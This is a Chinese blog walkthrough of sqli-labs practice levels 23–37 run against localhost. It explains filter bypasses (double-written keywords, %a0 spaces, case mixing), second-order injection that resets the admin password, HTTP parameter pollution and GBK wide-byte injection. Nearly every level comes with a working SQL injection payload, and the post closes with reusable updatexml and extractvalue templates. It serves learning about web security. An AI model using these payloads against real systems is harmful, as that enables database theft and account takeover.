0x00 前言
十二月如期而至,今天继续干活。
0x01 Bypass之旅
Less-23
点开进去,发现Please input the ID as parameter with numeric value
一行Tip,于是传入id=1
,尝试构造?id=1' and '1'='1
发现成功绕过。
payload:
http://localhost/sqli/Less-23/?id=-1' union select 1,2,3 and '1' ='1
后面利用方式一直。查看源码发现,过滤了#
、--
sqlmap 利用:
1 | python2.7 sqlmap.py -u http://localhost/sqli/Less-23/?id=-1 --dbs |
Less-24(二次注入)
这题好像是二次注入。
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
部分关键源码:
1 | $username = mysql_real_escape_string($_POST["login_user"]); |
可以看到,输入的username和password都被转义了,不能用作SQL注入。
但是发现了一个注册用户的页面。
部分关键源码:
1 | $username= mysql_escape_string($_POST['username']) ; |
输入的username和password仍然都被转义了,不能用作SQL注入。
登录进来,发现了一个pass_change.php
文件,部分关键源码:
1 | $username= $_SESSION["username"]; |
此处$username
的值是直接从数据库中查询的。
但是由于向mysql数据库插入带有反斜杠\
的字符时,数据库中保存的时候反斜杠\
会丢失
所以在此处update可以产生sql注入—-二次注入。
于是回到开始,我们在注册的时候,
输入username=admin'#&password=123&re_password=123&submit=Register
注册成功后,打开数据库查询数据
即使转义了,但是在数据库中还是插入了admin'#
用注册的账密登录进来,然后去修改密码。
current_password=123&password=123&re_password=123&submit=Reset
此时执行的SQL语句为:
1 | UPDATE users SET PASSWORD = '123' where username = 'admin'#' and password = '123'; |
所以此时admin的密码改为123。
Less-25
传入id=1后,进行注入构造尝试,发现and 、or
被过滤了,然后尝试双写and或者利用||和&&,发现成功绕过。payload:http://localhost/sqli/Less-25/?id=1' anandd 1=1--+
然后爆库、爆表、爆列名等等,注意的是information里头的or也需要双写绕过:)
1 | http://localhost/sqli/Less-25/?id=-1' oorr updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
Less-25a
作为25题的改编题,但是是没有加单引号的bool盲注。
简单基础的利用盲注即可
1 | #!/usr/bin/env python |
Less-26
传入id参数后,进行测试发现空格、/**/、+
均被过滤了于是用%a0
绕过成功。
payload:
1 | http://localhost/sql/Less-26/?id=1'%a0anandd%a0updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.TABLES%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0anandd%a0'1'='1 |
回显为:XPATH syntax error: '~emails,referers,uagents,users~'
Less-26a
这题类似于25a一样是对26的改编,而且同样是bool型盲注,用%a0
代替空格绕过
Less-27
这题打开时,告诉我们uonion and select belong to us
所以说他们过滤了union和select,并且还发现他们仍然过滤了空格。尝试seleselectct
、/!select/
均失败,但是大小写混合输入确成功。
于是,爆表payload为:
1 | http://localhost/sql/Less-27/?id=1'%a0and%a0updatexml(1,concat(0x7e,(sElect%a0group_concat(table_name)%a0from%a0information_schema.TABLES%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0and%a0'1'='1 |
Less-27a
这题与25a一样,是27关的bool型改编,利用方式大致相同。
Less-28
这题尝试了好久都是空白。查看部分关键源码
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
并且同时过滤了空格、union、select的盲注,但是可以利用上题的payload:
1 | http://localhost/sql/Less-28/?id=1')%a0and%a0updatexml(1,concat(0x7e,(sElect%a0group_concat(table_name)%a0from%a0information_schema.TABLES%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0and%a0'1'='1 |
利用方式与盲注类似。
Less-28a
查看源码,部分关键源码
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
和上一题一样,同样是单引号+括号的闭合方式,但是这个好像只是过滤了union和select.于是,payload:
1 | http://localhost/sqli/Less-28a/?id=1') and updatexml(1,concat(0x7e,(sElect group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1) and '1'='1 |
Less-29(HPP漏洞)
直接
1 | http://localhost/sqli/Less-29/?id=0' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ |
或者
1 | http://localhost/sqli/Less-29/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES |
均能成功…. :) 不知道为啥。。
查看源码。发现了一个login.php
,这个文件存在WAF
部分关键源码:
1 | $qs = $_SERVER['QUERY_STRING']; |
只能用数字……但是这个java_implimentation()函数作用是利用&将传进去的参数进行分割存入数组中,然后遍历数组,然后将id的值返回,然后就结束循环。
此处存在一个逻辑漏洞,假如传入的id的值有多个,但是他只将第一个id的值进行返回。而且,进行处理的是$id1
而不是$id
。
PHP/Apache对相同名字的不同参数处理:
如:GET /foo?id=1&id=2; $id=_GET[‘id’]
结果$id=2
也就是说,假如传入的参数为:?id=1&id=and 1=1
,然后经过处理后$qs_array=['id=1','id=and 1=1']
,然后foreach循环返回的是id1=1
,符合函数whitelist()的要求,然后id=and 1=1
完成SQL注入。
于是只需构造
1 | http://localhost/sqli/Less-29/login.php?id=1&id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
即可成功返回XPATH syntax error: '~security~'
,后面利用的方法类似。
Less-30
这里跟上题类似,只不过使用了双引号进行闭合,于是payload
1 | http://localhost/sqli/Less-30/login.php?id=1&id=1" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
即可爆出数据库名。
Less-31
与前俩题也一样,只不过使用了双引号+括号进行闭合,于是payload
1 | http://localhost/sqli/Less-31/login.php?id=1&id=1") and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
即可爆出数据库名。
Less-32(宽字节注入)
这里把单双引号给转义了,于是尝试宽字节注入。
宽字节注入: 大家都知道 %df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了
payload:
1 | http://localhost/sqli/Less-32/?id= %df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
Less-33
利用上一题的payload同样可以成功注入。
1 | http://localhost/sqli/Less-33/?id=%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
于是查看源码进行 对比,
32#
1 | function check_addslashes($string) |
33#
1 | function check_addslashes($string) |
区别很明显了,一个用了自带的转义函数addslashes(),一个用了自己构造的函数
Less-34
POST表单,于是Burp抓包改包,其实和上面一样,均是宽字节注入。
payload:
1 | uname=%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+&passwd=123&submit=Submit |
Less-35
这题虽然也是宽字节注入,但是由于id本身未进行单引号闭合,于是并不需要单引号。
payload:
1 | http://localhost/sqli/Less-35/?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
Less-36
同样是宽字节注入,于是payload不变
1 | http://localhost/sqli/Less-36/?id=1%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+ |
但是此题用了mysql_real_escape_string()函数进行过滤
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false
Less-37
POST表单,BP抓包改包,同样是宽字节注入。
1 | uname=admin%df' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+&passwd=123&submit=Submit |
0x02 后记
经过今天的bypass之旅,发现了几点服务端常用的过滤规则:
- 正则匹配然后替换为空 ——双写绕过,大小写混合绕过
- mysql_real_escape_string()函数过滤 ———-宽字节注入、二次注入
- addslashes()函数过滤
- 自己构建函数对关键字符进行转义 ———HPP漏洞
- 对空格的过滤
还有就是updatexml()
和extractvalue()
注入的方便。
公式一:' and (extractvalue(1,concat(0x7e,(SQL查询语句)))) --+
公式二:' or updatexml(1,concat(0x7e,(SQL查询语句),0x7e),1)--+